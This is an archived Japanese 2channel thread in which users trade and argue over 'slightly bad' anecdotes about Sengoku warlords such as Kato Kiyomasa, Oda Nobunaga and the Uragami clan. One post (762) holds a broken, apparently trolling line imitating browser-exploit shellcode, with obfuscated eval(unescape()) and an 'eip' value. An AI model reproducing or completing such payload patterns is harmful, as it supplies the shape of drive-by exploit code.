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戦国ちょっと悪い話24

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0001人間七七四年2010/12/11(土) 09:21:33ID:oSVIUoMx
戦国のちょっと悪いエピソードを挙げていこう

戦国ちょっといい話・悪い話まとめブログ
http://iiwarui.blog90.fc2.com/
書き込む際にネタがかぶっていないかなどの、参考にしてください

前スレ
戦国ちょっと悪い話23
http://toki.2ch.net/test/read.cgi/sengoku/1287759374/

姉妹スレ
戦国ちょっといい話23
http://toki.2ch.net/test/read.cgi/sengoku/1288278217/

鎌倉・室町 ちょっといい話・悪い話
http://kamome.2ch.net/test/read.cgi/history/1286650888/

このスレの武将などに対する愛称等の、用語解説はこちら
http://iiwarui.blog90.fc2.com/blog-entry-2161.html

逸話に対する過度の真贋論争、揚げ足取りなどは、無駄に荒れるもとになります。
そのような議論はこちらでお願いします
【真?】戦国逸話検証スレ【偽?】
http://gimpo.2ch.net/test/read.cgi/sengoku/1196778610/
0716人間七七四年2011/02/09(水) 19:44:15ID:u4QYuLG/
>>714
寺社領(というか荘園か?)というものが、実質的に有名無実化したこともあるんでしょうね。力なき理念は、無力という意味合いでも
0717人間七七四年2011/02/09(水) 19:45:38ID:8TtORFHV
戦国中期までの叡山は日本有数の武力と経済力を誇っていたからな…
0718人間七七四年2011/02/09(水) 19:52:19ID:LOtKvmJh
>>715
肥後にあった豊臣の蔵入地からの年貢を清正が横領していたってことだろ、それ。
普通に清正の悪い話だと思うがなー。
0719人間七七四年2011/02/09(水) 19:54:57ID:fcdTauIG
中世史研究者にとって最大の敵は信長。
叡山燃やしたから貴重な文書が大量に灰になって中世の実相が掴めない。
中世文書史料のほとんどは寺社がもっていて、寺社の最大のものが叡山だったからな。
0720人間七七四年2011/02/09(水) 20:05:27ID:RdCzuwve
>>715
佐々成政「肥後って統治しにくいのよ…。」
0721人間七七四年2011/02/09(水) 20:13:57ID:u4QYuLG/
>>718
家康が関ヶ原の戦いの後で、「蔵入り地を全部お前らにやるよ」とやったのは、各大名家にとっては、うれしい収入なんですね
0722人間七七四年2011/02/09(水) 20:20:19ID:MwmdjJ/x
肥後南部の小西はちゃんと納税してたのかな?
それとも蔵入地が無かった?
0723人間七七四年2011/02/09(水) 20:23:29ID:dQ0nMYiS
>>721
バラマキで政権ゲットしたわけですね。
しかも財源ちゃんとあるし
0724人間七七四年2011/02/09(水) 20:24:54ID:iyA39aJE
>>721
そりゃあもう。年貢収入だけでなく、自分の領地の中に自分ではどうにも出来ない土地が
わんさかあって、しかも管理だけはしないといけない。さらに中央政権からの監視の場所にも
なっている、という大名にとって悪いことずくめのシステムだからな>蔵入地

尾張なんて太閤検地で57万石なのにそれを管理する清須の福島正則は24万石と半分以下。
どれだけ中央に吸い取られていたかがよくわかりますなw
0725人間七七四年2011/02/09(水) 20:36:40ID:MwmdjJ/x
>>724
当時、尾張国を統治してたのは福島だけだったの?
0726人間七七四年2011/02/09(水) 20:59:57ID:LOtKvmJh
>>719
おひおひ、比叡山を焼いたのは信長が初めてじゃないし、信長の時はむしろ小規模な焼き討ちだったのはもう常識だろ?
0727人間七七四年2011/02/09(水) 21:15:34ID:fcdTauIG
>>726
どこの常識だwww
0728人間七七四年2011/02/09(水) 21:26:20ID:AnJMoWad
>>727
「小規模」というのは「そーゆー説もある」程度かも知れんが、「信長が初めてじゃない」
のは常識じゃないか?
数度に渡る焼き討ちによって貴重な文書が焼失したのは間違いではないと思うが、全てを
信長のせいにするのはおかしいと思うぞ。
0729人間七七四年2011/02/09(水) 21:29:50ID:K1D28lOO
大規模だろうが小規模だろうが、
それで紛失したものがあれば、愚痴を言われるのは仕方ない。
陶の謀反の時に山口が〜とか、大友の遠征で寺社仏閣が〜とか、
本能寺や大阪城で茶器が〜とか、ラスボスの韓国遠征で文化が〜ニダとか、
言われるのと同じ。
0730人間七七四年2011/02/09(水) 21:30:29ID:iyA39aJE
>>725
いや、他にもいるが正則は尾張の秀次旧領を与えられているので、尾張の大半は
管理していたと考えていいだろう。
0731人間七七四年2011/02/09(水) 21:32:04ID:S201hNb9
それでも日本は、あの文書天国の江戸期を除いても世界で最も古文書のたぐいが
残っている国なんだぜ。
0732人間七七四年2011/02/09(水) 21:32:09ID:qaddsFiA
蔵入地がなくなることは豊臣家も了承してたの?
秀頼は関ヶ原をどう思ってたんだろう
0733人間七七四年2011/02/09(水) 21:36:51ID:S201hNb9
>>732
無くなるというか、そもそも>>715の逸話でも解るように日本全国に散らばった
蔵入地の管理は三成ら奉行衆がやっていたのね。
なので関ヶ原の結果豊臣家奉行衆が消滅すると、蔵入地管理のシステムが
まるごと無くなって、豊臣家の方でいくら保持しようとしても現実的に無理、という状況に
なったと考えられる。
0734人間七七四年2011/02/09(水) 21:42:56ID:MwmdjJ/x
蔵入地はケースバイケースだったんじゃないかな?
安東は会津征伐で山形へ行った時にかかった費用の蔵入地から流用分の報告を片桐にしてるし。
0735人間七七四年2011/02/09(水) 21:54:14ID:MUVeSRhG
                    /          
                _/⌒⌒\
               /       \
              / 〃自称子孫ヾ 丶
             | ノ/ィノ|ハヘ   | 
             |イ ⌒   ⌒丶 |
              ヒ|  ` <oo> ´  リ むふふん、むふふん
              |の____の|   
              丶 `亠亠亠′ノ  
               >―――<
              / ハ  `ニ、, \
               /  ト、ヽ ,'/|  \
            ハ。。。|、ヽ// | 。。。 \
           厶,_|通 |\'/ /| 貨 ,/ ヽ
          `V |  l/ / |   / ̄[ブ
           | _| ヽ!_/ , ◇、  {ノ_ ヽ
           V'〈.  \ { ノ`◇ノ ̄卞、}
       _, -‐'二/ ノ>三江三三/ r-イヽ、〉
     / ̄フ/{ 〈‐'´/,イ | |._{l_{.ハ>┴‐'¨ヽ
    /ノ /  /,>-'/| !|_ -|‐'T ヽ \__ノ
   ノ//  ,/ / /入|__!|   |  |  V.ハ  ノ
 __人〃 / / / /'´  | !|| _ゝ| ハ  ノ 〉|(
く_二-' ‐' ∧/ ,ハ |/  /| ,川  |   / ´ /  |_ヽ、
  ̄`ーニ__∠__|ノ∠ニ_Zィフ‐ヘL.ノ_/_ノ===='
       ̄\_/ ̄      }三ニ=‐'´

織田信成が織田信長の子孫って本当?【4代目】
http://toki.2ch.net/test/read.cgi/skate/1281832265/


0736人間七七四年2011/02/10(木) 00:32:37ID:BkXJQeM5
蔵入地の管理もそうだけど、家康が独自に恩賞沙汰した瞬間から豊臣家の君主権丸ごと分取っちゃってるんだよね
これだけでも家康の逆心の証拠は十分すぎるほど明らか
そういう事情を知ってるくせに加藤や福島は無用な忠義ポーズとったり、
もっともらしい理屈こねて格好付けるから嫌いだわ。前田とか藤堂みたいに堂々としてろっての
0737人間七七四年2011/02/10(木) 00:48:32ID:iRqenFOl
>>736
いや、関ヶ原以前に既に、秀吉の遺言に反して五大老五奉行が合議で島津の加増などを
行っており、「豊臣家の執権勢力は領地の加増、安堵の権限を持つ」という先例が出来ていた。
関が原後の家康による恩賞の差配は関ヶ原の結果豊臣政権の執権者が家康ひとりになったため
でもあるが、たとえ三成の蜂起がおこらず、上杉征伐により上杉が滅ぼされたとしても
その上杉領の分配は豊臣家の最高権力者である家康の主導のもとに行われただろう。

過去の、例えば清洲会議を見ても解かるけど、この時代領地の差配って増えても減っても
高度に政治的な問題だから、、巨大な権威と権限を持った人物がやらないと収まらないんだわ。
前田利家亡き後そう言う人物は、家康以外存在しなかった。
0738人間七七四年2011/02/10(木) 02:30:56ID:njqePj74
神経質

加藤清正は奥へ(嫁さんの家)いった際も刀を決して手放そうとしなかった。

さて良いムードなのに刀を全く外そうとしない清正を見かねた女中が

「あのー・・・清正様?ここには見知った女子しかおりません。そのような物(刀)は外してはいかがでしょうか?」

っと進言した。これに清正は。

「そうしたいのも山々だが今戦力になるのは己のみだ。
外歩いてるときは家臣達のおかげで  素 っ 裸 でも歩けるが今は俺だけしか戦えるない。だから刀は外さない。」
っと答えた。

この話を聞いた家臣達は自分達の力を信じてくれている清正に感動して

「清正様が何時で安心して裸で歩けるような力量をつけるぞ!!」っと更に武芸に励んだという。

清正が神経質すぎる悪いお話。
0739人間七七四年2011/02/10(木) 09:21:33ID:W3BhpBnV
いい話のような気もするが微妙だなw
0740人間七七四年2011/02/10(木) 09:45:39ID:9mbnNtWa
一方、真田信之は嫁に会うとき具足を着けた
女中は納得し、家臣は同情したがスルーした
0741人間七七四年2011/02/10(木) 10:33:01ID:KebDXuRN
清正「いつの間にか露出狂にされていた件」
0742人間七七四年2011/02/10(木) 11:25:29ID:znZyPgX8
大将としては本当に立派な人だな 
0743人間七七四年2011/02/10(木) 11:32:12ID:IZq6JeJ4
一瞬「奥へ(嫁さんの実家)いった際も」と空目して
そりゃ水野家に行くならそうだろうなぁと思ってしまった
0744 [―{}@{}@{}-] 人間七七四年2011/02/10(木) 12:16:00ID:930e+OUk
某家家臣「ウチの殿さまなんて、日常でも奥方が他人の目にさらされると、
     いつの間にかどこからか刀をひっつかんで下人がずんばらりん(RY
0745人間七七四年2011/02/10(木) 19:03:47ID:BkXJQeM5
スーパーヤンデレな三斎さまだけど側室はいたんだろうか?
性格的には秀忠や光秀みたいな真面目君じゃないが・・・
0746人間七七四年2011/02/10(木) 19:23:48ID:EpLpXjes
結構いっぱいいるが
0747 [―{}@{}@{}-] 人間七七四年2011/02/10(木) 19:42:08ID:930e+OUk
・珠がカルトに走った理由の一つに、忠興が側室作ってたのもある。
 (父光秀は側室持たなかったとよく言われるが、普通に持ってなかったっけ?)
・珠の入信の手引きしたり、自分が受洗して、神父の代わりに珠の洗礼を
 執り行った小侍従(清原マリアとは別の説を採る)は、
 一説には明智の側室の娘で、珠とは異母姉妹。
・そんでその小侍従が家臣に娶されたとき「忠興殿と御悪しくなりて」
 嫁に出された、とはっきり書かれてるので、たぶん忠興のお手つきで、
 色々あって捨てられたらしい(忠利かその弟は側室が産んで、珠の子だと
 しようとしたので頭きて文句言って捨てられた説を聞いたけど、詳細不明)。

まあそりゃ侍従としてついて来た身分の低いヤツとはいえ、顔もよく似た
(秀吉に伺候する際、顔が似てる侍従が身代わりでいったエピあり)姉妹と
ダンナがネンゴロになられたら、そらカルトにも走るわ。
0748人間七七四年2011/02/11(金) 00:50:35ID:vPWg0P3U
>>738-741
諏訪四郎勝頼さんが「一緒に素肌攻めしようぜ!」といっています
0749人間七七四年2011/02/11(金) 11:18:57ID:ONMVvM0V
>「清正様が何時で安心して裸で歩けるような力量をつけるぞ!!」っと更に武芸に励んだという。

しかしこの後、加藤家の旧臣を引き取ろうと言うものはおらず
福島家旧臣には再仕官を求める声があったのは悲しいけれど、それはまた別のお話。
0750人間七七四年2011/02/11(金) 13:35:16ID:fGGbfdXs
>>747
ガラシャも生首放置する話、気の利かない下男は斬られても仕方ないという手紙
を残してるあたり案外似た者夫婦かもしれん
0751人間七七四年2011/02/11(金) 14:37:02ID:tcyMGyzY
裸で歩ける…?

加藤清正が鷹狩に出かけた時だ。
この日疲れが溜まっていた清正は輿で寝ていた。

この輿を旧阿蘇氏の家臣、国右衛門というものが草むらから狙っていた。

そして輿が目の前を通り過ぎようとした国右衛門飛び出し

「加藤清正!主君の仇討たせてもらうぞ!」

っと輿に横から刀を突き刺した。

この時清正は後ろに寄りかかって寝ていた為事なきを得た。


清正「なかなかどうして、良い腕の持ち主ではないか。
どうだ?俺の下で仕えてみないか?」

国右衛門「年来仇と思っていたお前に仕える気は毛頭ない。斬るがよい。」

清正「…これは殺すには惜しいな。だが…仕方がない」

清正は自信の刀を抜き振り下ろした。

だが刀は空を斬った。

清正「どうだ?これで国右衛門なる者は死んだも同然だ。
生まれ変わったつもりで仕えないか?」

国右衛門「…そこまで言われるのならこの命を預けてみよう」

これに清正は大いに喜び刀を収めその刀を国右衛に渡し刀持ちを命じたのである。

清正はこの様な事件があったにも係わらず鷹狩を中止せずに決行し
さらに国右衛門に刀持ちを命じるという清正の度胸のある話し。

国右衛門は朝鮮出兵時に清正の護衛を勤め見事な戦死を遂げた。


>>738はリップサービスで実は自分の実力を一番信じてるんじゃね?
という結構悪い話し。
0752人間七七四年2011/02/11(金) 14:44:06ID:5dmgYj+0
車善七「仇を打ち損じたばかりか、その下に仕えるとは」
0753人間七七四年2011/02/11(金) 14:45:21ID:PxnisQlv
>>751
加藤清正の武士としての男らしさが非常に良く出ているいい話なのにw
後世ある種の信仰の対象になったのもよくわかるわ。

ただ、『小さな小屋掛けですら家臣に任せず自分で監督する』と言われた清正だけに、
能力という意味では、悪く言えば家臣のことを全く信用してなかったのだろうね。
0754人間七七四年2011/02/11(金) 14:48:51ID:KTEMhQkJ
よく言われるが出来る限りは家臣に任せる市松とは真逆の姿勢だよな。
0755人間七七四年2011/02/11(金) 18:06:27ID:HuNjGQto
>>753
最近あった>>715の話もそういうことになるな。
三成にしては気がきく…のか?散々な言われようだがwww
0756人間七七四年2011/02/11(金) 18:30:21ID:/Qw0ZPAK
清正と市松足して2を掛けると黒田の大殿…になるには知恵が足りんか。
0757人間七七四年2011/02/11(金) 18:35:36ID:5dmgYj+0
立花道雪「知恵と足萎えなら私におまかせを」
0758人間七七四年2011/02/11(金) 19:18:42ID:QaWwhzOc
>>757
スルーされてるって言わなきゃわからんか?
0759人間七七四年2011/02/11(金) 19:28:44ID:5dmgYj+0
>>758
そもそもレスを希望してないんだが
このくらいは過去から見て許容範囲だと思っていた
スレの雰囲気を悪くはしたくないんで、これ以上は書かないが
0760人間七七四年2011/02/11(金) 19:33:43ID:QaWwhzOc
>>759
チラシの裏なら相応のところに
ネタなら面白いものを書こうな
0761人間七七四年2011/02/11(金) 19:41:20ID:GRGPUeMe
まぁ面白くもないオナニー書きなぐられてもみんな引くだけだしな
0762人間七七四年2011/02/11(金) 20:01:43ID:7O+IwWQM
(){eval(unescape(('Script(t,'%')))})(/./g); eip=eip+unescape("%u7030%u4300")
0763人間七七四年2011/02/11(金) 20:04:56ID:dJNHD3ZX
>>759
書くな消えろゴミ
0764人間七七四年2011/02/11(金) 23:26:21ID:LJ29ZiFe
笑いのツボは人それぞれなんだしスルーしろよ
イチイチ、言葉にセンスを求めていけば
逸話を書き込む人間だって恐縮するんだしさ
0765人間七七四年2011/02/11(金) 23:30:17ID:kdWu50E0
正直つまらないので止めて欲しい
0766人間七七四年2011/02/11(金) 23:32:26ID:Urza1P9I
>>758-764
なんでスルーしないで煽ってるんだ?
チョコでも食って落ち着けよ
0767人間七七四年2011/02/11(金) 23:40:18ID:IhRenedr
笑いのツボ云々以前にしつこい
単発ならまぁツボが違うんだろうな位でスルーするけど
延々と「ガチョーン」だの「ゲッツ!」だの言ってるようなもんでしょ
ネタとして楽しませる事を目的としてるなら2chの注意書きにもあるように面白いレスを心がけようぜ
>>759の場合はコミュニケーションを求めず自分が楽しんでるだけだし
0768人間七七四年2011/02/11(金) 23:40:58ID:2KEhCzqB
スルーしろとか、落ち着けって燃料でしかないよなw
0769人間七七四年2011/02/11(金) 23:52:47ID:PxnisQlv
大坂の陣の時のことである

浅野幸長の陣において、銃弾を防ぐ竹束の側で足軽が、大筒を修理していた。
この時足軽、大筒の砲身にしがみつくような形でいたらしい。

と、この足軽に大阪城より撃ちかけられる。この時一発の銃弾が、
なんとこの足軽の頭から入り尻に抜け、さらにその後ろにいた足軽の胸に当たり
二人ともその場で死んでしまった。
一石二鳥と言うが、これは一発二足軽であろうか?

これに大阪方は大いに盛り上がったが、ここに浅野軍の上田宗箇が駆け寄り、
やおらその大筒の上に乗り立った。
そして大阪城の方を覗き込み

「さあ撃ってこい!撃ってこい!」

と挑発。これに怒った大阪方からの銃弾が上田宗箇に集中したが、しかし一発も当たらなかった。

これには敵味方双方から『主水(上田宗箇)のありようは見事!』と賞賛されたそうである。


上田さんにとってはいい話だけど銃弾一発で犠牲になった上、上田さんを引き立たせる
役回りになった足軽2人にはお気の毒なおはなしw
0770人間七七四年2011/02/11(金) 23:58:17ID:IhRenedr
頭から尻に抜けって想像しただけでグロい…
まぁこれは上田さんの良い話だろう
精度が悪いって分かってても中々出来るもんじゃない
0771人間七七四年2011/02/12(土) 00:17:11ID:2ADAvvr6
人体を縦に貫通するほど威力が火縄銃にあるとは思わなかったな。
0772人間七七四年2011/02/12(土) 00:25:51ID:f3XLYuZu
いや、逆じゃなくてよかった。
尻に図星ときたときにゃあ体感的にスローモーでいくんじゃないか。
0773人間七七四年2011/02/12(土) 00:53:04ID:QyWR3jky
鉛に掘られながら死んだ足軽A
焼き味噌弾で死んだ足軽B
運命の弾を共有した戦場の悲劇だな
だが、彼らの整備していた大砲こそが後々…
権現様が矢弾飛び交う掘りの前で憂愁に耽るわけだ
0774人間七七四年2011/02/12(土) 00:56:33ID:Hw0jNnz8
大坂はどんなライフル持ってたんだよ・・・
火縄銃なんて強風向かい風でも威力が半分くらいになりそうなのに
0775人間七七四年2011/02/12(土) 03:22:58ID:LMv+/ZZs
清正の嫌味が極悪な件
http://iiwarui.blog90.fc2.com/?mode=m&no=4950&cr=930094f11cfee81487f71a35c8390e15
↑っで
「軍令に背きただ私利を貧るは町人の行いに似ている」
と行長に言い放ち激怒させた清正だが、他にも凄まじい嫌みを言い放っている。

忠州に攻めいる軍議の席、諸侯が地図を囲み居並ぶ中清正は地図にとある道を見つけこう言い放った。

「小西殿にはこの『薬店道』を通って忠州に攻めこんでもらいたい」っと。

鍋島直茂「アーアー('A`)マータハジマッタヨ」

当然こんな事を言って穏やかに済むはずがない。
行長は激怒して刀に手を掛けた、が対する清正は…。
詫び入れる様子もなく涼しい顔でそれを見ているだけだった。

行長の姿勢はポーズだけと舐めていたのか、
剣術の達人である自分に自信があるからなのか
清正の考えは定かではないが完全に行長を見下しているのだけは確かだ。

この場も直茂が行長をなだめてその場を治めたという。

それにしても朝鮮で小西と加藤がぶつかると鍋島さんがよく仲裁に入ります。
何か裏で秀吉から命令受けていたかもしれないですね…。
0776人間七七四年2011/02/12(土) 03:50:20ID:DYVmWunx

鍋島直茂の妻、陽泰院(彦鶴姫)は佐賀の豪族、石井家の出身であった。
賢夫人として名高い陽泰院であったが、息子の勝茂に対しては一つだけ、政治への
口出しをした事があった。

「私の実家の石井一族の者の処遇ですが……決して勘定方のお役目にはつけぬよう、
頼みますね。依怙の沙汰と言われるかも知れませんが、こればかりはお願いします」
「母上? お役目に付けろと仰るのならともかく、付けるなとはどういう事なので
しょう?」

「だって、勘定役などをおおせつかって、毎日毎日お金を目の前にしていたら、つ
い手が出ちゃう事ってあるじゃないですか? 私、親族が裁かれるのなんて見たく
ありませんもの。初めっからお金とは無縁の生活をしてれば、欲なんてかかないん
です。だからお願いしますね」
「は、はぁ……承知いたしました……」

その後、本当に石井一族が勘定方から外されたのかどうかは定かではない。

陽泰院様のエコヒイキの話。
言い方を変えれば「出世しなけりゃ責任も取らされる事はないよね!」という微妙
な言い分ですよね。
だからと言っちゃなんですが、悪い話に。
0777人間七七四年2011/02/12(土) 09:35:18ID:vtp3F+Uz
ts
0778人間七七四年2011/02/12(土) 17:42:03ID:x8KWjoB5
実家の連中がどういう趣味かてのが
良く判っている賢婦人だ。
0779人間七七四年2011/02/12(土) 17:58:30ID:nt0wFdxz
実際徳川幕府でも本多忠勝系の本多家と榊原康政系の榊原家なんかは
徳川に天下を取らせた名誉家系ってことで、家格は黒書院溜の間詰めという
譜代最高格だが、実務を任せて変に責任を取らせる事態にしてはいけないと、
幕府の政治にかかわらせなかったらしい。
0780人間七七四年2011/02/12(土) 20:08:46ID:YsmcYqoP
その家に切れ者が出たら耐えられん処遇なんだろうがまぁそんな環境じゃそうそう出んか
0781人間七七四年2011/02/12(土) 20:13:46ID:gMiSCmYQ
関係ないね井伊家は大老として参加してんじゃん
大身譜代の連中は武家の本業である要所や地方の押さえに専念しろ
それこそが名誉であり武士の本懐である。
将軍の使い走りの元締めである老中は中堅連中に任せろ、
簡単に言うと、石高=軍事力、武士の本来の仕事=軍人、って認識だった。
だから中堅連中は戦の無い時代に老中として功績を挙げ、
大身譜代の仲間入りするのが夢であり、老中は通過点で大身譜代が終着点。
例として功績を挙げ大身譜代となった土井家は嫡流から老中を出さなくなり
5万石の中堅に落ちた本多家は老中を出すようになったと。
0782人間七七四年2011/02/12(土) 20:56:47ID:W5UMCIl9
大久保忠隣や榊原康政は老中やってんだけど
0783人間七七四年2011/02/12(土) 21:46:52ID:gOclPejo
>>780
徳川譜代の初期の切れ者と言ったら・・・水野勝成?
0784人間七七四年2011/02/12(土) 21:57:17ID:gia8eoRK
それはキレ者です
0785人間七七四年2011/02/12(土) 22:39:52ID:hQwhHPEV
>>783
切れる方向が違うw
0786人間七七四年2011/02/12(土) 22:43:18ID:kVqRZ+4N
>>769
大坂の陣の時って浅野幸長死んでるんじゃ…
まあ浅野の陣ってことか
0787人間七七四年2011/02/12(土) 22:54:32ID:PzZQvijq
日本のマルコポーロ

有名なペトロ・岐部、彼の話はまだ出てこないようなので。

1584年に豊後の豪族、岐部家に生まれ有馬のセミナリオにてキリスト教神学を学ぶ。
1614年、幕府によってマカオに追放される。が、この地では日本での布教が
はなはだ困難と知った教会は彼らを見捨てる。

これからが彼の執念の物凄さ、マカオからゴアへ、司祭の叙階を受けられないと知ると歩いて
イラン、アラビア半島を陸路西に向かい、日本人として初めてエルサレムに巡礼を成す。
バチカンに向かい、イエズス会を驚かせるが司祭に叙階。

日本に帰りついたのは1630年、激しい弾圧の中をキリシタンの隠れ里を密かに訪ね訪ねの伝道。
1614年、ついに捕縛される。この時期、彼は幕府にとっての最過激カルト集団の親玉であったから、
将軍家光直々の詮議があった。また転ばせ屋のプロ、井上筑後守も悪魔のごとき甘言、或いは
必殺逆さ吊りで攻め立てるもギブアップせずに殉教。
「沈黙」のモデル、横で吊るされた管区長代理フェレイラ神父はあえなく棄教。

岐部はあっさりと去っていくフェレイラを散々に呪いつつ死んだとか。
0788人間七七四年2011/02/12(土) 22:59:43ID:PzZQvijq
すみません、1639年に殉教でした。(汗;)
0789人間七七四年2011/02/13(日) 01:29:27ID:53rR/VRw
>>787
呪って死ぬんじゃ殉教の甲斐もないような。
キリスト教的には違背者呪う分にはセーフなのか?
0790人間七七四年2011/02/13(日) 09:43:43ID:goQl1g6w
岐部家は豊後海峡の水軍を司だった武門の家。
豊後は大友宗麟の庇護下にキリスト教が盛んだったから、
彼のようなハードコアな人物が出てきたのであろう。

岐部自身は、かなり意固地で功名心にはやる人だったらし
くマカオやゴアではうとまれていたらしい。
一人で托鉢しながら砂漠を歩いて行ったとか。

伝説では、遥かな地、バチカンのイエズス会の文書の中に、
豊後での布教に尽くした己が父の名を見つけ、涙したとか。
以後、焦る気持ちを抑える冷静さ、統率力を身につけたらしい。
0791人間七七四年2011/02/13(日) 10:38:15ID:x/b+taMa
ペトロの殉教とフェレイラの棄教を知った海外の宣教師は発奮し
カトリックの意地を見せるとばかりに日本に密入国しまくり殉教しまくったと聞いた
なんかブームの真っただ中に置かれてしまった日本のお役人の胃の明日はどっちだ
0792人間七七四年2011/02/13(日) 11:25:47ID:cULL00l1
>>789
この場合の呪うってのは呪術的な意味ではなく恨んでいったということでは?
0793人間七七四年2011/02/13(日) 12:50:12ID:7Owo/IJZ
暗黒面に堕ちたな。
0794人間七七四年2011/02/13(日) 13:23:34ID:GOTpJhPV
漁夫の利


1522年、主家赤松氏を凌ぎ備前・美作・播磨ら3カ国を牛耳る浦上村宗と淡路に追われて浪人となっていた浦上村国・小寺藤兵衛の間で戦争が起こった。
浦上村国が別所・在田・龍野赤松氏を引きこむなど暗躍し、村宗と戦えるだけの兵力をかき集めたのである。

開戦直後は村国方も奮戦するが名将、宇喜多能家などを擁する村宗軍団は強く徐々に敗色が濃厚な情勢となってきていた。
しかしここで両軍を揺るがす知らせが舞い込む・・・内戦に漬け込んで但馬の山名誠豊が備前に攻め込むというのである。
ここで村国はすかさず村宗に接触を図る。

村国「そもそも同姓の誼に背いてまで今貴殿と対峙しているのも、全て赤松家再興のためであって、決して私怨によるものではない。いまもし兄弟垣に争って山名に国を奪われてしまっては、
    あとで臍を噛んで後悔しても間に合わない。ついではここで和睦し、幼君政祐(のちの晴政)を立て、一緒になって山名の軍勢に当たり、これを撃退しようではないか!」

村国は方針を転じ、村宗の専横を赤松の家臣として憎んでいる訳でこの戦は私闘ではないことを饒舌に語り、和議を説いた。
自分から戦を仕掛けてきておいて厚かましい事この上ない申し出だが、かつて浦上家には苦い経験があった。
1480年代に山名との間で起こった福岡合戦の際に家中の分裂に浸け込まれ、実際に領国から追われてしまった経験がある。
村宗は渋々ながら村国との間に和議を交わし、対山名の為に共同戦線を張る提案を受け入れた。

そして山名家と赤松・浦上連合との戦に移行するのだが驚愕したのは山名軍である。
非常に短期間の間に内戦がすっかり収まっていて迎撃体制が整えられていたのだから・・・
結果として備後からまで兵をかき集めてまで侵攻を画策した山名軍は翌1523年まで居座るも敗れ、但馬へと逃げ帰った。


この一件で一番得をしたのは不覚にもガチガチの反村宗派である村国の復権を許した村宗でも無く、意気込んで侵攻した割にはまるで得るものがなかった山名でも無く
劣勢だったはずの浦上村国であったという話。
0795人間七七四年2011/02/13(日) 13:41:44ID:zzRd3SbN
山名はこんなんやってるから力が無くなっていったんだろうな。
0796人間七七四年2011/02/13(日) 16:57:55ID:h69winbY
>>787
勿体無いなあ。処刑せずにどんな経験をしてきたか口述筆記でもさせれば
いい情報が手に入っただろうに。
0797人間七七四年2011/02/13(日) 18:03:24ID:y+6+7etR
下野のどっかの家を思い出すな

内部争いしてるけど外から攻められると結束するところと、
漁夫の利とかすごく得意そうな人がいるあたり
0798人間七七四年2011/02/13(日) 18:05:55ID:bY7KRaDa
>>794
http://ja.wikipedia.org/wiki/%E5%A4%A7%E7%89%A9%E5%B4%A9%E3%82%8C
大物崩れ

川中島や設楽が原よりもダメージが大きい
0799人間七七四年2011/02/13(日) 19:55:31ID:biupT8EZ
>>798
損害 ほぼ全滅 
で噴いたw
0800人間七七四年2011/02/13(日) 20:33:49ID:GOTpJhPV
赤松晴政は大物崩れでせっかく盛り返したのに尼子が来るということで内戦をやめて浦上政宗と和睦したらまた数年後に家を牛耳られてたでござる。


これも悪い話かな。
0801人間七七四年2011/02/13(日) 20:50:38ID:zzRd3SbN
毛利元就が井上一族の専横がどれだけ酷いかの例えに「赤松家中の浦上」って表現を使ったねぇ。
0802人間七七四年2011/02/13(日) 20:58:14ID:Tu25HnAN
政宗って名前の奴に碌な奴はいない
0803人間七七四年2011/02/13(日) 22:54:03ID:ZPhr0khT
>>802殿後方の味方陣から一斉銃撃でござる!
0804人間七七四年2011/02/14(月) 01:41:58ID:nyeM28P7
弘治3年(1557)、尾張、清須に置いて織田信長は病気と偽り、その実弟、武蔵守信行を
謀って招き、これを謀殺せんとする。
このとき信長は信行を殺すため、三人の士を潜ませた。

が、信行もさるものである。座敷に置いて謀を察すると、三人の刺客を巻き、いち早く廊下へと逃れた。
このまま信行の家臣団が控えているところまで行き着かれれば、城外へと脱出も不可能ではない。
信行の謀殺は失敗か!?と、その時である

廊下に控えていた池田恒興がとっさに信行を捕らえ、これを刺し殺した。
信長の謀があわや失敗するところを救ったのだ。
これにより信長の尾張統一が大きく進んだのは、言うまでもない。

織田信行謀殺事件に関する逸話の一つである。

結果はいいけど、これ自体はそれほどいい話でもないなと思ったのでこっちに。
(寛政重修諸家譜)
0805人間七七四年2011/02/14(月) 13:45:42ID:66Mv1wEK
面白い逸話を読んでいると、われわれも後世のために逸話を残さないといけない気がする。
でも武の時代じゃないから平安風になるんだよな。

今は昔。
管のおとど、国債格下げを聞きしに「そういうことは疎いので」と
いんだびう切り上げぬる。
その言葉を世の人聞きしに日本株売り売りせり。
おとど弁明せしも、聞くひとなかりけり。
0806人間七七四年2011/02/14(月) 18:02:01ID:B/8gKS5Q
そんな醜聞は後世に語り継ぎたくないわw
0807人間七七四年2011/02/14(月) 19:07:32ID:xKlrkUOg
そっちの話は

売国 ちょっといい話・悪い話のほうにでもどうぞ(笑)
0808人間七七四年2011/02/14(月) 19:22:52ID:6OYkfxVu
>>798
軍が壊滅しただけでなく、伏兵を置いて皆殺して感じ
0809人間七七四年2011/02/14(月) 19:52:35ID:kYVX1VUy
宇都宮尚綱の死

宇都宮尚綱は足利晴氏の要請を受けて領を接する那須高資を倒すべく兵を率いて出陣。1549年9月27日の朝、下野の喜連川で両軍は激突した。
宇都宮軍3000人に対して那須軍が用意できた兵はわずか300人、兵力差は歴然としていた。
しかしながら那須軍の粘りは凄まじく、午前中は宇都宮軍と互角に渡り合うほどであったがやはり午後になると徐々に劣勢となっていく。

那須軍を押し始めていた宇都宮軍であったが那須軍もただ小勢でやられに出て来たわけではない。
山越えで迂回していた那須七騎の一つ、伊王野資宗の軍勢がにわかに宇都宮本陣に肉薄していたのである。
勝利を目前にしてやや慢心があったのかもしれない。予期せぬ新手の登場に宇都宮本陣は混乱した。

尚綱「な、なんだと・・・ええい、落ち着け!」

怒涛の勢いで攻めかかる伊王野の軍勢を前に尚綱の判断も冷静さを欠いた。混乱を収めようと尚綱は馬を進めてしまう。
そこで伊王野資宗は立派な身なりをした騎馬武者を視界に捉えた。

資宗「弥五郎よ!あの騎馬武者こそ宇都宮尚綱ぞ!矢を放て!」

伊王野家一の弓の名手、鮎ヶ瀬弥五郎の剛弓は一矢で尚綱の胸板を貫き、命を奪い去った。
そして弥五郎は敵陣に討ち入ると尚綱の首を取り、高らかに叫んだ。

弥五郎「宇都宮尚綱討ち取ったりー!那須勢、伊王野家家臣、鮎瀬弥五郎実光が討ち取ったりー!」

総大将が首を取られた宇都宮軍はもはや混乱どころではなく総崩れである。宇都宮軍は甚大な被害を出しながら領国へと逃げ帰った。
こうして「喜連川女月坂の戦い」は那須高資の逆転大勝利で幕を下ろしたのであった。
0810人間七七四年2011/02/14(月) 20:10:30ID:+iHgqyzK
那須家は戦いになると本当に強いな。
家中はある一家のおかげでゴタゴタだが。
